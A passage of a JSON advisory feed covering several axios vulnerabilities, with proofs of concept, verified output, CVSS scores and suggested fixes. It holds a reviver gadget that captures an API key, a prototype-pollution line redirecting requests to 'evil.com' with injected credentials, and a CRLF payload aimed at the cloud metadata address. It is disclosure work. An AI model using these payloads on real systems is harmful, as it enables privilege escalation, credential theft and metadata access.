withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n  function transformResponse(data) {\n    // ... transitional checks ...\n    if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n      // ...\n      try {\n        return JSON.parse(data, this.parseReviver);\n        //                      ^^^^^^^^^^^^^^^^^\n        //                      this = config\n        //                      config.parseReviver → prototype chain → attacker's function\n      } catch (e) {\n        // ...\n      }\n    }\n    return data;\n  },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({\n    user: 'john',\n    role: 'viewer',\n    isAdmin: false,\n    canDelete: false,\n    balance: 100,\n    permissions: ['read'],\n    apiKey: 'sk-secret-internal-key',\n  }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('Before:', JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n  // Silently capture all original values\n  if (key \u0026\u0026 typeof value !== 'object') stolen[key] = value;\n  // Surgically modify specific values\n  if (key === 'isAdmin') return true;       // false → true\n  if (key === 'role') return 'admin';       // viewer → admin\n  if (key === 'canDelete') return true;     // false → true\n  if (key === 'balance') return 999999;     // 100 → 999999\n  return value;                              // everything else unchanged\n};\n\n// === After Pollution — same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('After: ', JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log('Stolen:', JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                     \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: false\n    role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n    Polluted with selective value modifier\n\n[3] Same request (after pollution):\n    response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n                     \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n                     \"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: true (was: false)\n    role: admin (was: viewer)\n    canDelete: true (was: false)\n    balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n    apiKey: sk-secret-internal-key\n    All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                   \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n    parseReviver in defaults? NO\n    parseReviver in assertOptions schema? NO\n    parseReviver validated anywhere? NO\n    Must return true? NO — can return ANY value\n    Replaces entire transform? NO — works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// → Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// → Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// → Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact — only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === 'function' \u0026\u0026\n  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:19:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23","https://nvd.nist.gov/vuln/detail/CVE-2026-42044","https://github.com/advisories/GHSA-3w6x-2g7m-8v23"],"source_kind":"github","identifiers":["GHSA-3w6x-2g7m-8v23","CVE-2026-42044"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.141Z","epss_percentage":0.00862,"epss_percentile":0.56763,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","url":"https://github.com/advisories/GHSA-q8qp-cvcw-x6jj","title":"Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking","description":"## Summary\n\nFive config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.\n\n## Affected Properties\n\n1. **`config.auth`** (`lib/adapters/http.js` line 617)  Injects attacker-controlled `Authorization` header on all requests.\n2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.\n3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).\n4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.\n5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Prototype pollution from a vulnerable dependency in the same process\nObject.prototype.auth = { username: 'attacker', password: 'exfil' };\nObject.prototype.baseURL = 'https://evil.com';\n\nawait axios.get('/api/users');\n// Request is sent to: https://evil.com/api/users\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\n// Attacker receives both the request and injected credentials\n```\n\n## Impact\n\n- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.\n- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.\n- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.\n- **Code execution:** Attacker-supplied functions execute during HTTP redirects.\n- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.\n\n## Root Cause\n\n`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.\n\nThe `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.\n\n## Suggested Fix\n\nApply the existing `own()` helper to all affected properties:\n\n```javascript\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nSame pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:18:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://nvd.nist.gov/vuln/detail/CVE-2026-42264","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios/releases/tag/v1.15.2","https://github.com/advisories/GHSA-q8qp-cvcw-x6jj"],"source_kind":"github","identifiers":["GHSA-q8qp-cvcw-x6jj","CVE-2026-42264"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.141Z","epss_percentage":0.00965,"epss_percentile":0.60035,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOHFwLWN2Y3cteDZqas4ABWJp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","url":"https://github.com/advisories/GHSA-xhjh-pmcv-23jw","title":"Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams","description":"# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams\n\n## Summary\n\nThe `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\\x00'` converts it back to a raw null byte.\n\nThis is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.\n\n**Severity:** Low (CVSS 3.7)\n**Affected Versions:** All versions containing this charMap entry\n**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`\n\n## CWE\n\n- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)\n- **CWE-116:** Improper Encoding or Escaping of Output\n\n## CVSS 3.1\n\n**Score: 3.7 (Low)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | Attacker controls input parameters remotely |\n| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact limited to HTTP request URL |\n| Confidentiality | None | No confidentiality impact |\n| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |\n| Availability | None | No availability impact |\n\n## Vulnerable Code\n\n**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',     // literal → encoded (SAFE direction)\n    \"'\": '%27',     // literal → encoded (SAFE direction)\n    '(': '%28',     // literal → encoded (SAFE direction)\n    ')': '%29',     // literal → encoded (SAFE direction)\n    '~': '%7E',     // literal → encoded (SAFE direction)\n    '%20': '+',     // standard transformation (SAFE)\n    '%00': '\\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n```\n\n### Why the Standard Flow Is NOT Affected\n\n```javascript\n// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's\nconst _encode = (options \u0026\u0026 options.encode) || encode;  // buildURL's encode\n\n// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams\nnew AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used\n\n// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used\nconst _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;\n//                                                                              ^^^^^^\n//                                           internal encode passed as 2nd arg but only used if\n//                                           the external encoder explicitly delegates to it\n```\n\n## Proof of Concept\n\n```javascript\nimport AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';\nimport buildURL from './lib/helpers/buildURL.js';\n\n// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)\nconst params = new AxiosURLSearchParams({ file: 'test\\x00.txt' });\nconst result = params.toString();  // NO encoder → uses internal encode with charMap\nconsole.log('Direct toString():', JSON.stringify(result));\n// Output: \"file=test\\u0000.txt\" (contains raw null byte)\nconsole.log('Hex:', Buffer.from(result).toString('hex'));\n// Output: 66696c653d74657374002e747874  (00 = null byte)\n\n// Test 2: Via buildURL (NOT vulnerable — standard axios flow)\nconst url = buildURL('http://example.com/api', { file: 'test\\x00.txt' });\nconsole.log('Via buildURL:', url);\n// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)\n```\n\n## Verified PoC Output\n\n```\nDirect toString(): \"file=test\\u0000.txt\"\nContains raw null byte: true\nHex: 66696c653d74657374002e747874\n\nVia buildURL: http://example.com/api?file=test%00.txt\nContains raw null byte: false\nContains safe %00: true\n```\n\n## Impact Analysis\n\n**Primary impact is limited** because the standard axios request flow is not affected. However:\n\n- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected\n- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug\n- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case\n\nIf null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.\n\n## Recommended Fix\n\nRemove the `%00` entry from charMap and update the regex:\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    // REMOVED: '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {\n    //                                           ^^^^ removed |%00\n    return charMap[match];\n  });\n}\n```\n\n## Resources\n\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)\n- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-05T00:18:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw","https://nvd.nist.gov/vuln/detail/CVE-2026-42040","https://github.com/advisories/GHSA-xhjh-pmcv-23jw"],"source_kind":"github","identifiers":["GHSA-xhjh-pmcv-23jw","CVE-2026-42040"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-10-02T08:03:13.786Z","epss_percentage":0.00264,"epss_percentile":0.16544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0"],"unaffected_versions":["0.31.1","0.32.0","0.33.0","0.34.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGpoLXBtY3YtMjNqd84ABWJo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","url":"https://github.com/advisories/GHSA-fvcv-3m26-pcqx","title":"Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain","description":"# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.\n\nAxios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\\r\\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.\n\n**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \\\"Helper\\\" Vulnerabilities\nThis issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property can alter the structure of an outbound HTTP request.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \\\"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\\\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact\nIn environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.\n\n## Impact Analysis\n-   **Confidentiality**: May expose limited sensitive information in affected network environments.\n-   **Integrity**: May allow modification of outbound request structure or injected headers.\n-   **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n  if (/[\\r\\n]/.test(val)) {\n    throw new Error('Security: Header value contains invalid characters');\n  }\n  // ... proceed to set header\n});\n```\n\n## References\n-   **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-10T19:47:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx","https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1","https://github.com/axios/axios/releases/tag/v1.15.0","https://nvd.nist.gov/vuln/detail/CVE-2026-40175","https://github.com/axios/axios/pull/10660","https://github.com/axios/axios/pull/10660#issuecomment-4224168081","https://github.com/axios/axios/pull/10688","https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c","https://github.com/axios/axios/releases/tag/v0.31.0","https://cert-portal.siemens.com/productcert/html/ssa-876049.html","https://github.com/advisories/GHSA-fvcv-3m26-pcqx"],"source_kind":"github","identifiers":["GHSA-fvcv-3m26-pcqx","CVE-2026-40175"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-10T20:00:12.594Z","updated_at":"2026-10-02T08:03:35.607Z","epss_percentage":0.01307,"epss_percentile":0.6953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.0","vulnerable_version_range":"\u003c 0.31.0"},{"first_patched_version":"1.15.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.0"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1"],"unaffected_versions":["0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","url":"https://github.com/advisories/GHSA-3p68-rc4w-qgx5","title":"Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF","description":"Axios does not correctly handle 